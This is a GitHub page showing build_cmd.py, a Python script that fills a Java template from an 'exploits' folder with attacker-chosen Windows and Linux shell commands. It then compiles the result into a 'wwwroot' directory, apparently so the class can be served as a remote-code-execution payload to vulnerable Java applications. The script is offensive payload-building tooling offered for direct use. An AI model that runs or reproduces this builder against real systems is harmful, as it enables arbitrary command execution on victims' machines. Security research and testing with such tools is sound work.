-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbuild_cmd.py
More file actions
executable file
·73 lines (58 loc) · 2.34 KB
/
build_cmd.py
File metadata and controls
executable file
·73 lines (58 loc) · 2.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python3
import argparse
import subprocess
import sys
import os
import threading
from http.server import HTTPServer, SimpleHTTPRequestHandler
def check_if_installed(prog):
try:
result = subprocess.call([prog, '-version'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
except Exception:
result = -1
finally:
if result != 0:
print(f'{prog} is not installed...exiting')
sys.exit(1)
def ensure_dir_exists(dir_name):
if os.path.isdir(dir_name):
return
try:
os.mkdir(dir_name)
except Exception:
print(f'Error unable to create dir : {dir_name} .......exiting')
sys.exit(1)
def compile_cmd_file(name, w_cmd, l_cmd):
try:
with open(f'exploits/ExecCmd.java', "r") as template:
source = template.read().replace("<CLASS_NAME>", name).replace("<W_CMD>", w_cmd).replace("<L_CMD>", l_cmd)
with open(f'build_tmp/{name}.java', "w+") as dest:
dest.write(str(source))
print(f'{name} java file created success')
subprocess.run(["javac", "-d", "wwwroot", f'build_tmp/{name}.java'])
print("Just compiled payload")
except Exception as e:
print(f'Something went wrong compiling java file {name} : {e}')
def format(cmd):
return cmd.replace('\\', '\\\\').replace('"', '\\"')
def build_cmd(name, w_cmd, l_cmd):
check_if_installed("javac")
ensure_dir_exists("build_tmp")
ensure_dir_exists("wwwroot")
compile_cmd_file(name, format(w_cmd), format(l_cmd))
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(
description='please enter the values ')
parser.add_argument('class_name', type=str,
help='Enter the name of the class to create.')
parser.add_argument('-w', type=str,
help='the command to execute on a windows system. will be run as CMD \C "your command"', default = "")
parser.add_argument('-l', type=str,
help='the command to execute on a linux type systems. will be run as /bin/sh -c "your command"', default = "")
args = parser.parse_args()
print("about to start.....")
build_cmd(args.class_name, args.w, args.l)
except KeyboardInterrupt:
print("[EXIT] User interrupted the program.")
sys.exit(0)